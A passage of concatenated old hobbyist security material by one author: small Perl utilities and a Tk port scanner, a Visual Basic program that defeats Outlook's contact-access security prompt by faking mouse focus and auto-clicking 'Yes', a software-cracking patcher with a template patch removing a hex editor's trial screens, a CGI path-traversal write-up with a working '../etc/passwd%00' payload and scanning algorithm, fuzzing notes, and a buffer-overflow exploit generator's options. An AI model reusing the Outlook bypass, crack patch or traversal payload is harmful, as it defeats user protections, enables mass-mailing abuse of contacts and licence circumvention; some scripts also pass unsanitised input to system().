5757@args = split(/\s+/, $ARGV[0]);
5758foreach (@args) {
5759 unless (/\?|\*/ or $dn) {
5760 $frst .= "$_ ";
5761 }
5762 if ($dn) {
5763 $last .= "$_ ";
5764 }
5765 if (/\?|\*/) {
5766 $dn++;
5767 if (/^(.*?\/)([^\/]+)$/) {
5768 opendir (DIR, $1);
5769 $file = $2;
5770 }
5771 else {
5772 opendir (DIR, "./");
5773 $file = $_;
5774 }
5775 $file =~ s/\?/.{1}/g;
5776 $file =~ s/\*/.*?/g;
5777 @fils = grep { /^$file$/ } readdir(DIR);
5778 }
5779}
5780foreach (@fils) {
5781 system("$frst $_ $lst");
5782}
5783
5784
5785#!/usr/bin/perl
5786
5787# -sam k (commport5@lucidx.com)
5788
5789# reads the perl program and outputs a module header that you
5790# have to add to the .pl to make it into a module
5791
5792# e.g.,
5793# ./mkmod Inject.pl Packet::Inject 0.01 > Inject.pm ; cat Inject.pl >> Inject.pm ; rm Inject.pl
5794
5795die "usage: $0 <file> <module name> <version>\n" unless @ARGV == 3;
5796open(TMP, $ARGV[0]) or die "Unable to open $ARGV[0]: $!\n";
5797while (<TMP>) {
5798 if (($f) = $_ =~ /^[^#]*[^#\\]*sub\s+(\S+)/) {
5799 $funcs .= "$f ";
5800 }
5801}
5802$funcs =~ s/\s*$//g;
5803$tmp{'@ISA'} = 1;
5804$tmp{'@EXPORT'} = 1;
5805$tmp{'$VERSION'} = 1;
5806($mod) = $ARGV[1] =~ /^([^:]+)/;
5807($pm = $ARGV[0]) =~ s/\.pl//;
5808print "
5809# $pm.pm $ARGV[2] (module: $ARGV[1])
5810
5811package $ARGV[1];
5812require Exporter;
5813\@ISA = qw(Exporter);
5814\@EXPORT = qw($funcs);
5815\$VERSION = '$ARGV[2]';
5816";
5817
5818
5819#!/usr/bin/perl
5820
5821# by Samy Kamkar [commport5@lucidx.com]
5822
5823# requires burncd for burning isos
5824# requires mkisofs if you want to burn regular files/dirs onto a cd
5825
5826use Tk;
5827$mdb = MainWindow->new();
5828$mdb->title(" CD-R(W) Burner");
5829$mhead = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
5830$mright = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'ne', -side => 'right');
5831$mright->Label(-text => 'Media Type')->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
5832@typerad = ('Audio [XA]', 'Data', 'Data/Audio', 'No Idea');
5833for my $type (0 .. 3) {
5834 $mright->Radiobutton(-text => "$typerad[$type]", -variable => \$dbtype, anchor => 'w', -relief => 'flat', -value => $type)->pack(-side => 'top');
5835}
5836$mright->Label(-text => "\n\nDevice")->pack;
5837$device = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
5838$device->insert('end', "racd1a");
5839$mright->Label(-text => "\nSpeed")->pack;
5840$speed = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
5841#$speed->insert('end', "2");
5842$mbot = $mdb->Frame( -relief=>'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'bottom');
5843$mbot->Checkbutton(-text => "Eject when done", -variable => \$cstart, anchor => 'e', -relief => 'flat', -command => sub { &eject })->pack(-side => 'top');
5844$mbot->Checkbutton(-text => "Preemphasis on audio tracks", -variable => \$asknew, anchor => 'e', -relief => 'flat', -command => sub { &emph })->pack(-side => 'top');
5845$mbot->Checkbutton(-text => "Test burn", -variable => \$mkrev, anchor => 'e', -relief => 'flat', -command => sub { &test })->pack(-side => 'top');
5846$mbot->Checkbutton(-text => "Quiet at console", -variable => \$mknew, anchor => 'e', -relief => 'flat', -command => sub { &quiet })->pack(-side => 'top');
5847for $i (1 .. 5) {
5848 ($f, $l, $e) = ("mhead_${i}", "mhead_${i}_l", "mhead_${i}_e");
5849 ${$f} = $mdb->Frame();
5850 ${$f}->pack(-side => 'top', -pady => '2', -anchor => 'e');
5851 ${$l} = ${$f}->Label(-text => "ISO $i", -anchor => 'e');
5852 ${$e} = ${$f}->Entry(-width => '20', -relief => 'sunken');
5853 ${$e}->insert('0', $dbfill[$i]);
5854 ${$e}->pack(-side => 'right');
5855 ${$l}->pack(-side => 'right');
5856}
5857for $i (6 .. 10) {
5858 $r = ($i - 5);
5859 ($f, $l, $e) = ("mhead_${i}", "mhead_${i}_l", "mhead_${i}_e");
5860 ${$f} = $mdb->Frame();
5861 ${$f}->pack(-side => 'top', -pady => '2', -anchor => 'e');
5862 ${$l} = ${$f}->Label(-text => "File/Dir $r", -anchor => 'e');
5863 ${$e} = ${$f}->Entry(-width => '20', -relief => 'sunken');
5864 ${$e}->insert('0', $dbfill[$i]);
5865 ${$e}->pack(-side => 'right');
5866 ${$l}->pack(-side => 'right');
5867}
5868$btnok = $mhead->Button(-text => 'Burn');
5869$btnok->configure(-command => \&write);
5870$btnok->pack(-side => 'left', -padx => '2');
5871$btndisc = $mhead->Button(-text => 'Blanken');
5872$btndisc->pack(-side => 'left', -padx => '2');
5873$btndisc->configure(-command => \&blank);
5874$btnconnect = $mhead->Button(-text => 'Eject');
5875$btnconnect->pack(-side => 'left', -padx => '2');
5876$btnconnect->configure(-command => \&command);
5877$btnsave = $mhead->Button(-text => 'Information');
5878$btnsave->configure(-command => \&info);
5879$btnsave->pack(-side => 'left', -padx => '2');
5880$btncancel = $mhead->Button(-text => 'Exit', -command => [$mdb,'destroy']);
5881$btncancel->pack(-side => 'left', -padx => '2');
5882MainLoop;
5883sub command {
5884 $dev = get $device;
5885 print "Executing: burncd -f /dev/$dev -e\n";
5886 system("burncd -f /dev/$dev -e");
5887}
5888sub blank {
5889 my $isos;
5890 my $files;
5891 $args = "burncd";
5892 $spd = get $speed;
5893 $dev = get $device;
5894 $args .= " -f /dev/$dev";
5895 if ($spd) {
5896 $args .= " -s $spd";
5897 }
5898 if ($eject %2 != 0) {
5899 $args .= " -e";
5900 }
5901 if ($quiet %2 != 0) {
5902 $args .= " -q";
5903 }
5904 if ($test %2 != 0) {
5905 $args .= " -t";
5906 }
5907 $args .= " blank";
5908 print "Executing: $args\n";
5909 system($args);
5910 print "Finished.\n\n";
5911}
5912sub write {
5913 $args = "burncd";
5914 for (1 .. 5) {
5915 $mhead = "mhead_${_}_e";
5916 $file = get ${$mhead};
5917 if ($file) {
5918 $files .= " $file";
5919 }
5920 }
5921 for (6 .. 10) {
5922 $mhead = "mhead_${_}_e";
5923 $file = get ${$mhead};
5924 if ($file) {
5925 $isos .= "$file ";
5926 }
5927 }
5928 $rand = rand(1000000);
5929 print "Executing: mkisofs $isos> /tmp/.burn.$rand";
5930 system("mkisofs $isos> /tmp/.burn.$rand");
5931 $files .= " /tmp/.burn.$rand";
5932 $spd = get $speed;
5933 $dev = get $device;
5934 $args .= " -f /dev/$dev";
5935 if ($spd) {
5936 $args .= " -s $spd";
5937 }
5938 if ($eject %2 != 0) {
5939 $args .= " -e";
5940 }
5941 if ($test %2 != 0) {
5942 $args .= " -t";
5943 }
5944 if ($quiet %2 != 0) {
5945 $args .= " -q";
5946 }
5947 if ($emph %2 != 0) {
5948 $args .= " -p";
5949 }
5950 if ($dbtype) {
5951 $args .= " data";
5952 }
5953 else {
5954 $args .= " audio";
5955 }
5956 $args .= $files;
5957 $args .= " fixate";
5958 print "Executing: $args\n";
5959 system($args);
5960 print "Finished.\n\n";
5961}
5962sub info {
5963 my $top2 = $mdb->Toplevel;
5964 $top2->Label(-text => "\n Perl/Tk CD Burner [burncd front-end] \n by Samy Kamkar\n")->pack;
5965}
5966sub quiet {
5967 $quiet++;
5968}
5969sub eject {
5970 $eject++;
5971}
5972sub emph {
5973 $emph++;
5974}
5975sub test {
5976 $test++;
5977}
5978
5979
5980#!/usr/bin/perl
5981
5982use strict;
5983use Tk;
5984use IO::Socket;
5985my ($sfile, $nfrm, $entry, $file, $but, $fromport, $toport, $neww, $nwww, $hlpm, $flmn, $menu, $save, $mw, $mid, $win, $prt, $l);
5986$save = "0";
5987$mw = MainWindow->new();
5988$mw->configure(-background => 'black');
5989$mw->title(" Perl/Tk Port Scanner");
5990$menu = $mw->Frame(-relief => 'groove', -border => 3, -background => 'grey')->pack('-side' => 'top', -fill => 'x');
5991$flmn = $menu->Menubutton(-text => 'File', -tearoff => 0, -background => 'grey', -activebackground => 'white', -foreground => 'black')->pack(-side => 'left');
5992$hlpm = $menu->Menubutton(-text => 'Help', -tearoff => 0, -background => 'grey', -activebackground => 'white', -foreground => 'black')->pack(-side => 'right');
5993$neww = $mw->Frame(-background => 'black')->pack(-side => 'top', -fill => 'x');
5994$nwww = $neww->Frame(-background => 'black')->pack(-side => 'left', pady => 9, padx => 8);
5995$hlpm->command(-label => 'Info', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{info()});
5996#$hlpm->command(-label => 'Help', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{help()});
5997$hlpm->separator();
5998#$hlpm->command(-label => 'Ports', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{ports()});
5999#$hlpm->command(-label => 'Upgrade', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{upgrade()});
6000$flmn->command(-label => 'Scan', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{scan($entry, $fromport, $toport, $file)});
6001$flmn->command(-label => 'Info', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => sub{info()});
6002$flmn->separator();
6003$flmn->command(-label => 'Exit', -activebackground => 'black', -foreground => 'black', -activeforeground => 'green', -command => [$mw,'destroy']);
6004$nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Hostname/IP:")->pack;
6005$nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Starting port:")->pack;
6006$nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "End port:")->pack;
6007$nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "File to write to:")->pack;
6008$nwww->Label(-background => 'black', -relief => 'sunken', -foreground => 'green', -text => "Write to file?")->pack;
6009$nfrm = $neww->Frame(-background => 'black')->pack(-side => 'left', -pady => 2, -padx => 15);
6010$entry = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 30)->pack;
6011$entry->insert('end', "localhost");
6012$fromport = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 6)->pack;
6013$fromport->insert('end', "1");
6014$toport = $nfrm->Entry(-background => 'white', -foreground => 'black', -borderwidth => 2, -relief => 'sunken', -width => 6)->pack;
6015$toport->insert('end', "1024");
6016$file = $nfrm->Entry(-background => 'grey', -foreground => 'grey', -borderwidth => 2, -width => 30)->pack;
6017$nfrm->Checkbutton(-background => 'white', -command => sub{save()})->pack;
6018$but = $mw->Frame(-borderwidth => 0, -background => 'black', -relief => 'groove')->pack(-side => 'top', -fill => 'x');
6019$but->Button(-background => 'black', -foreground => 'white', -text => 'Info', -command => sub{info()})->pack(-side => 'left');
6020$but->Button(-background => 'black', -foreground => 'white', -text => 'Scan', -command => sub{scan($entry, $fromport, $toport, $file)})->pack(-side => 'left');
6021#$prt = $mw->Label(-text => "Waiting for acknowledgement...", -foreground => 'green', -background => 'black', -pady => 4)->pack();
6022$but->Button(-background => 'black', -foreground => 'white', -text => 'Exit', -command => [$mw,'destroy'])->pack(-side => 'right');
6023$mid = $mw->Frame(-background => 'black', -foreground => 'green')->pack(-side => 'top', -fill => 'y', -expand => 'y');
6024$win = $mid->Frame(-background => 'black', -foreground => 'green')->pack(-side => 'left', pady => 2, padx => 2);
6025#$mw->Photo('imggif', -file => "lxban.gif");
6026#$l = $mw->Label('-image' => 'imggif', -border => 0)->pack;
6027MainLoop;
6028sub scan {
6029 my ($entry, $fromport, $toport, $file, $scan, $true, $con, $top1);
6030 ($entry, $fromport, $toport, $file) = @_;
6031 if ($save %2 != 0) {
6032 $sfile = get $file;
6033 }
6034 $sentry = get $entry;
6035 $sfromport = get $fromport;
6036 $stoport = get $toport;
6037 $scan;
6038 do {
6039 $true = "0";
6040 $con = IO::Socket::INET->new(
6041 Proto => "tcp",
6042 PeerAddr => $sentry,
6043 PeerPort => $sfromport) or $true++;
6044 if ($true == "0") {
6045 $scan .= "Port $sfromport open\n";
6046 if ($save == 1) {
6047 if ($sfile eq "") {
6048 $sfile = "/tmp/tkscan.log";
6049 }
6050 open(FILE, ">>$sfile");
6051 print FILE "Port $sfromport open on $sentry\n";
6052 }
6053 }
6054 $sfromport++;
6055 }
6056 while ($sfromport <= $stoport);
6057 if ($save %2 != 0) {
6058 close(FILE);
6059 }
6060 $top1 = $mw->Toplevel;
6061 $top1->title(" Ports");
6062 $top1->Label(-text => "Ports open on $sentry\n\n$scan")->pack;
6063}
6064sub info {
6065 my $top2 = $mw->Toplevel;
6066 $top2->Label(-text => "Perl/Tk port scanner\nwritten by samy\n\nhttp://www.LucidX.com\n")->pack;
6067}
6068sub save {
6069 $save++;
6070 if ($save %2 != 0) {
6071 $file->configure(-background => 'white', -foreground => 'black', -relief => 'sunken');
6072 $file->delete(0, 'end');
6073 $file->insert('end', "/tmp/tkscan.log");
6074 }
6075 else {
6076 $file->configure(-background => 'grey', -foreground => 'grey');
6077 $file->delete(0, 'end');
6078 }
6079}
6080
6081
6082' Outsmart -- Local Outlook Security Evasion -- samy@lucidx.com
6083'
6084' Recent versions of Outlook, as well as a released patch,
6085' make Outlook prompt the user whenever a remote appliction
6086' tries to access specific contact information in the Outlook
6087' Contact database. The user can then decide to allow or not
6088' allow the application to get that access.
6089'
6090' Microsoft took extra care in making sure that a remote
6091' application could not just get the handle to the popup,
6092' focus it, and click 'Yes' for the user. In fact, if you try
6093' that, you will SEE the button getting clicked, but nothing
6094' happening. I discovered that only when it receives focus
6095' from the mouse does it allow the buttons to be controlled.
6096'
6097' Yes, even BM_CLICK's, WM_LBUTTONDOWN/WM_LBUTTONUP,
6098' SetActiveWindow, SetForegroundWindow, etc will not do the job
6099' until focus from a mouseevent is executed.
6100'
6101' I did this in VB to be used within an actual VBA Outlook
6102' plugin, if you really wanted to. I'm not a VB programmer
6103' and this is my first VB application so please don't h8.
6104'
6105' Thanks to BasharTeg for pointing me in the right direction
6106' on functions to use to get access to certain objects.
6107'
6108' Enjoy.
6109'
6110' -samy, 10/22/04
6111
6112Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
6113 (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
6114
6115Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
6116 (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
6117 ByVal lParam As Long) As Long
6118
6119Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
6120 (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
6121 ByVal lpsz2 As String) As Long
6122
6123Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
6124
6125Private Declare Function GetCursorPos Lib "user32" _
6126 (lpPoint As POINTAPI) As Long
6127
6128Private Declare Function SetCursorPos Lib "user32" _
6129 (ByVal X As Long, ByVal Y As Long) As Long
6130
6131Private Declare Function GetWindowRect Lib "user32" _
6132 (ByVal hWnd As Long, lpRect As RECT) As Long
6133
6134Private Declare Sub mouse_event Lib "user32" _
6135 (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy _
6136 As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
6137
6138Private Type RECT
6139 Left As Long
6140 Top As Long
6141 Right As Long
6142 Bottom As Long
6143End Type
6144
6145Private Type POINTAPI
6146 X As Long
6147 Y As Long
6148End Type
6149
6150
6151Const WM_ACTIVATE = &H6
6152Const MA_ACTIVATE = 1
6153
6154Const BM_CLICK = &HF5
6155Const BM_SETCHECK = &HF1
6156
6157Const MOUSEEVENTF_LEFTDOWN = &H2
6158Const MOUSEEVENTF_LEFTUP = &H4
6159
6160Const CB_GETCOUNT = &H146
6161Const CB_SETCURSEL = &H14E
6162
6163
6164' Mutex Stuff
6165Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (lpMutexAttributes As Any, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
6166Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
6167Private Declare Function ReleaseMutex Lib "kernel32" (ByVal hMutex As Long) As Long
6168Const ERROR_ALREADY_EXISTS = 183&
6169Dim mutex As Long
6170
6171
6172Private Sub Form_Load()
6173 ' Setup a mutex
6174 SetupMutex
6175
6176 ' Kill any security popups ;) within the next <Seconds>
6177 ' This function actually makes any security popups that are active
6178 ' disabled for 10 minutes. I run this app right before I need
6179 ' to access any contact database email info. I do not do
6180 ' this from the program itself since VB doesn't have real
6181 ' threading (Timers will not work when a call waits which is
6182 ' what happens upon Outlook's security window popup).
6183 KillSecurity 3
6184
6185 ' Exit and close mutex
6186 Unload Me
6187 End
6188End Sub
6189
6190
6191' Set the security popup to allow us to access contact info
6192' for the next 10 minutes. This only works if the poup
6193' is actually up.
6194Sub KillSecurity(Seconds As Integer)
6195 Dim hWndParent&, hWndChild&, hWndCheck&, hWndCombo&
6196 Dim i As Integer
6197 Dim comboItems As Integer
6198 Dim mousepos As POINTAPI
6199 Dim lpRect As RECT
6200
6201 i = 0
6202 Do
6203 hWndParent = 0
6204 i = i + 1
6205
6206 ' Get highest parent window handle
6207 hWndOutlook = FindWindow(vbNullString, "Microsoft Outlook")
6208
6209 ' Get parent window handle
6210 hWndParent = FindWindow("#32770", "Microsoft Office Outlook")
6211 If hWndParent = 0 Then
6212 hWndParent = FindWindow("#32770", "Microsoft Outlook")
6213 End If
6214
6215 ' If we found a handle
6216 If hWndParent Then
6217 hWndChild = 0
6218 hWndCombo = 0
6219 hWndCheck = 0
6220
6221 ' Find the 'Yes' button and other things in the security box
6222 hWndChild = FindWindowEx(hWndParent, 0, "Button", "Yes")
6223 If hWndChild = 0 Then
6224 hWndChild = FindWindowEx(hWndParent, 0, "Button", "&Yes")
6225 End If
6226
6227 hWndCombo = FindWindowEx(hWndParent, 0, "ComboBox", "")
6228 hWndCheck = FindWindowEx(hWndParent, 0, "Button", "&Allow access for")
6229
6230
6231 ' If we found the security dialog box, let's own it
6232 If hWndChild And hWndCheck And hWndCombo Then
6233
6234 ' Focus Outlook -- Outlook's security patch attempts to
6235 ' stop intruders just clicking the 'yes' which is why
6236 ' no one has been able to get around this yet. It only
6237 ' works if the window is given manual focus from the
6238 ' mouse, and not a system call like SetForegroundWindow.
6239 ' I rule.
6240 Call GetCursorPos(mousepos)
6241 Call GetWindowRect(hWndParent, lpRect)
6242 Call SetCursorPos(lpRect.Left + 10, lpRect.Top + 10)
6243 Call mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
6244 Call Sleep(0)
6245 Call mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
6246 Call SetCursorPos(mousepos.X, mousepos.Y)
6247
6248 ' Check the 'Allow access for' checkbox
6249 Call SendMessage(hWndCheck, BM_SETCHECK, 1, 0)
6250
6251 ' Get number of drop down items
6252 comboItems = SendMessage(hWndCombo, CB_GETCOUNT, 0, 0)
6253
6254 ' Set minutes to number of drop down items (0 based)
6255 Call SendMessage(hWndCombo, CB_SETCURSEL, comboItems - 1, 0)
6256
6257 ' Click 'Yes'
6258 Call SendMessage(hWndChild, WM_ACTIVATE, MA_ACTIVATE, 0)
6259 Call SendMessage(hWndChild, BM_CLICK, 0, 0)
6260 End If
6261 End If
6262
6263 Sleep 50
6264 Loop While i < Seconds * 20
6265End Sub
6266
6267
6268
6269
6270' On unload
6271Private Sub Form_Unload(Cancel As Integer)
6272 ReleaseMutex mutex
6273 CloseHandle mutex
6274End Sub
6275
6276
6277' Create mutex
6278Sub SetupMutex()
6279 ' set a mutex up
6280 mutex = CreateMutex(ByVal 0&, 1, "Outsmartmutex")
6281 If Err.LastDllError = ERROR_ALREADY_EXISTS Then
6282 ' Clean up
6283 ReleaseMutex mutex
6284 CloseHandle mutex
6285
6286 ' More than one instance detected
6287 Unload Me
6288 End
6289 End If
6290End Sub
6291
6292
6293Cracker-Patcher 5
6294Welcome to crack.LucidX.com
6295Here, you can find Cracker-Patcher 5 (C-P5) and .cp5 files for it (by SeaPea5).
62965.01-RELEASE out! [6/19/2002] -- added registry entry creation and replacement!
6297Current version: 5.01 .. Download (.exe)
6298Update file (you can ignore this): here
6299Template .cp5 file: hexedit210.cp5 (hex edit 2.10 patch)
6300Todo list:
6301make the 'Update' button more powerful
6302add an image/logo into the program
6303add key generation functionality
6304Cracker-Patcher 5 is a program that allows you to apply patches to applications. To crack programs, you need the appropriate .cp5 file for what you're patching (incredibly small and easy to share with others).
6305.cp5 files are easy to create. They're really just text files in a nice, neat format. You can find a template here. Basically, all .cp5 files contain are byte-offsets and hex data to replace data at those offsets. Hopefully keygeneration and other algorithmic expressions will be allowed in future versions.
6306Download c-p5 here.
6307Template .cp5 file -- hexedit210.cp5
6308# hex edit 2.10 patch (made for c-p5 5.01)
6309#
6310# after you run this via c-p5.exe, hexedit will have
6311# the trial and nag screens and the such removed
6312#
6313# -SeaPea5
6314
6315#
6316# info lines aren't required but are good to have
6317# name, version, filename, and size are best to have
6318#
6319# the 'important' info will be displayed to the user
6320# right before the user cracks the program and will
6321# be given a choice to continue or cancel, if they
6322# cancel, the program will not be cracked
6323#
6324
6325# name of info info itself
6326
6327info name Hex Edit # you can add
6328info version 2.10 # comments at
6329info description a hex editor # here, also
6330info filename hedit.exe
6331info size 7823360
6332info author cp5
6333info important The user will always see this
6334info important before they crack the program
6335info important and will have the choice to
6336info important continue or cancel the crack
6337
6338#
6339# as of 5.01-RELEASE, you can add/change registry values
6340#
6341
6342# "location" "new string/data" optional type
6343registry "LMachine\SOFTWARE\Blah\oldstring" "blah blah blah"
6344registry "LMachine\SOFTWARE\Blah\newstring" "h4w h4w h4w" REG_SZ
6345
6346#
6347# as you can see, c-p5 allows a variety of ways to modify data...
6348# these 5 patches will make hex edit full
6349# the 0x lines reference to the offset you want to replace data and
6350# replace with the following data in hex
6351#
6352# the hex after can be written in a multitude of ways as shown below
6353# the \d lines do the same as 0x lines,
6354# but the offsets are just in decimal instead of hex
6355#
6356
6357# offset replacement data in hex
6358
63590x174bc 4973 # offset info:
6360\x0174c0 \x49 \x73 # same as 0x174c0
63610x000174c4 0x49 0x73 # same as 0x174c4
6362\d95428 49 73 # equiv to 0x174c4
6363\d00095436 4973 # equiv to 0x174cc
6364
6365
6366CC V
6367by Samy Kamkar [CommPort5@LucidX.com]
6368Bug Classification
6369Improper filtering of CGI parameters
6370Example and Description
6371Many CGIs, or Common Gateway Interfaces, are used to retrieve files on the machine running the HTTP daemon and output their data to the user remotely accessing the CGI. The problem with many of these CGIs is that the developers do not include filters on the user input, when it is the user that submits the or part of the name of the file that is accessed. This allows malicious users to read files that they shouldn't have access to, or even execute programs on the machine.
6372Here is some example perl code of a basic CGI with the common bug of no filtering mechanism to important user input:
6373---------------------------------------
6374#!/usr/bin/perl
6375use CGI qw/:standard/; # standard CGI module
6376print header; # content-type header
6377$dir = "htmlfiles"; # directory where the html files would be
6378$file = param("file"); # input from user
6379$fullpath = $dir . "/" . $file . ".html"; # create a full path
6380open(FILE, "<$fullpath"); # opens the file, read-only mode
6381while () { print } # to print the contents of the file
6382close(FILE); # close the file
6383# end of code
6384---------------------------------------
6385
6386The problem with this code is that a malicious user is able to read data that s/he shouldn't have access to. An example of this is someone trying to read /etc/passwd. /etc/passwd is a good example of a file to be read since it's almost always readable by any user and is on almost all UNIX-like systems. There are two things that are required, which should be, but aren't, filtered in this program, to allow someone to read a file such as /etc/passwd. One is to escape the directory that the open() statement would normally read in, and second is to escape the ".html" put at the end of the open(). Here is an example of a URL to read the /etc/passwd on a machine running the example CGI: http://server/cgi-bin/the.cgi?file=../../../../../../../../etc/passwd%00 The CGI then reads "htmlfiles/../../../../../../../../etc/passwd\0.html" \0 is the null terminator. The null terminator is what escapes the .html since the open() and many other functions in many languages stop reading inputted data once it reaches a null terminator. And to escape the directory that the open() reads in, we use ../'s.
6387- Algorithm
63881. Spider the website, starting from the root index.
63892. Recursively search through all URLs on the web site to find all URLs that are on that machine.
63903. Find all URLs in the already-found URLs that contain a '?' and assume that those are the only URLs that are vulnerable to our bug.
63914. Find all key and element pairs in each of these URLs and find all URLs with only a key (no '=' in the URL) and consider that key an element.
63925. Go through each key and element of each URL and replace each element of each URL with a '../' x 20 . 'etc/passwd%00'.
63936. For every element replacement, do a GET request on that URL and match the responses for /root:/.
63947. For each response that contains 'root:', decrement the URL by one '../', do a GET request on the new URL, and check the response again to see if it contains a 'root:' repeatedly. Once the response does not contain a 'root:', add one more '../' to the URL and log that URL as an exploitable CGI. Continue element replacement to find any other bugs for other key and element pairs.
6395http://www.samy.pl/5balgo1.html
6396
6397CC V
6398by H1kari, BasharTeg, CommPort5
6399Sample code available here.
6400You must also download the template session capture file available here.
64015b. Automatic Exploit Discovery -
64021. Identify classifications of common software bugs as specifically as possible
64032. Name a theoretical example of each bug, ideally in "ASCII over TCP" protocols
64043. Describe an algorithm for automating remote detection of those bugs in client-server software. Assume that you have a working copy of server software, captured images of valid transactions and reasonable hardware. Ideal situations will need no knowledge of the protocol grammar beyond word and seperator characters.
6405The Answers -
6406a1. Failure to validate input buffer lengths
6407a2. In POP3 authentication, username input may not be length-validated.
6408a3. Most buffer overflows can be detected in ASCII protocols by replaying a captured session repeatedly, replacing one word each time with a 4097 character word.
6409- check for disconnect
6410b1. Fencepost a.k.a. Off by one counting errors
6411b2. In POP3 message retrieval, there could be an off-by-one error in the number of retreivable messages.
6412b3. Off-by-one errors can be detected by replaying a captured session with each numeric client-side word replaced with each previously seen numeric server words.
6413- check for different response
6414c1. Null Pointers, Dereferencing, Page Fault
6415c2. In POP3, deleting or retreiving message 0 without checking, or executing commands out of order might cause null pointers to be used.
6416c3. Null Pointers can be detected by replaying a captured session and executing the commands in a different order, or by replacing numerical words with 0 or negative numbers.
6417- check for disconnect
6418d1. Race Conditions
6419d2. In POP3 race conditions may occur when mail is received or removed and counters are modified while being read or written to by other connected clients.
6420d3. Race Conditions can be detected by replaying a captured session in a control process and executing other captured sessions with the commands put in various orders at the same time and looking for unexpected results. (e.g., run your control process without a second test process, then re-run with the test process running concurrently and check for deviations with the results).
6421- check for deviations
6422e1. Using uninitialized variables/memory
6423e2. In POP3 validation of protocol order may not be checked, sending your password before username or executing commands out of order may cause uninitialized variables to be used.
6424e3. Using uninitialized variables/memory can be detected by replaying a captured session with the client-side commands put in different order.
6425- check for disconnect
6426f1. Poorly implemented input matching
6427f2. In HTTP, failure to check filenames that might attempt a directory traversal ".." or unexpected characters or strings passed to cgi applications.
6428f3. Poorly implemented input matching can be detected by replaying a captured session with each word replaced with unexpected input characters depending on the protocol. (e.g. "..", file globbing characters -- "*, ?, +, [, ]", regex matching characters -- "+, *, ?, ^, $, (, ), {, }, [, ]", format string vuln characters -- "%s, %d, %p, %n, etc", common exec exploitation characters -- ";, <, >, |, ", '", null and non-ascii characters)
6429- check for different response
6430g1. Memory leaks (not freeing dynamically allocated memory)
6431g2. In POP3, if memory for each message is not freed and numerous messages are read, it could cause denial of service.
6432g3. Memory leaks can be detected by replaying a captured session and repeating a command numerous times while checking latency and availability.
6433- check for latency or disconnect
6434h1. Mixing signed and unsigned number variables
6435h2. In HTTP, sending an negative number as the byte count (Content-Length) for a POST, assuming the httpd uses a signed variable with the byte count. (which would check out fine if the program checks to see if the content-length is < the bytes read) And in turn if it set the length variable for the POST buffer to the negative number, it could cause the processing function to read more data than is supplied.
6436h3. Improper mixing of signed and unsigned number variables can be detected by replaying a captured session with all numerical words inverted to their negative equivalent, or positive equivalent if negative.
6437- check for different response
6438i1. Failure to resolve escapes before validating
6439i2. In HTTP, failure to resolve unicode, specialchars, and other http escaped characters before input matching.
6440i3. Failure to resolve escapes before validating can be detected by replaying a normal session as well as all input matching sessions with all characters escaped.
6441- check for different response
6442http://www.samy.pl/5balgo2.html
6443
6444
6445bofgen.pl - a buffer overflow exploit generation program
6446bofgen.pl is a simple buffer overflow exploit generation program I worked on for a little bit, just to make some things easier. it allows you to enter simple information and will create an advanced exploit for you, portable to many different architectures and operating systems. check it out.
6447bofgen.pl
6448getenvs.pl - this program finds environment variables in binary programs when you don't have source available to you (or you want to find them quickly). this is especially good for finding buffer overflows in programs easily
6449testenvs.pl - this will take a binary program, find all of the environment variables, and fill them up with data to attempt to overflow it. it's good with use of `find / -perm -4000`. it will easily help you find some exploitable (through ENV variables) programs and it will also attempt to exploit the program with a basic arguement buffer overflow.
6450options are below for bofgen (when certain questions are answered, that value may intentionally change/add/remove other questions)
6451Buffer Overflow Exploit Generation program [bofgen.pl]
6452By CommPort5 [@LucidX.com]
6453
6454* = required, []'s = default (and required)
6455
6456name of your exploit [exploit.pl]:
6457* path (full path recommended) to exploitable program:
6458nop [\x90]:
6459return address [0xbfffffff]:
6460offset [0]:
6461* length to overwrite %eip (without the +100):
6462remove all environment variables before executing program (1 = true, 0 = false) [1]:
6463* type of buffer overflow, 1 = arguement, 2 = environment:
64641 = aix 2 = bsdi
64653 = dg_ux 4 = freebsd
64665 = hp_ux 6 = linux_x86
64677 = linux_sparc 8 = openbsd
64689 = ppc_linux 10 = ppc_bsd
646911 = openserver 12 = solaris_sparc
647013 = unixware
6471* enter the OSs you would like support for (enter numbers, whitespace seperated):
6472preceding arguements (before buffer overflow, if any):
6473insert environment variable (key name, if any - not buffer overflow key):
6474insert environment data for key:
6475accept an offset from the user in command line (1 = true, 0 = false) [0]:
6476require an offset from the user in command line (1 = true, 0 = false) [0]:
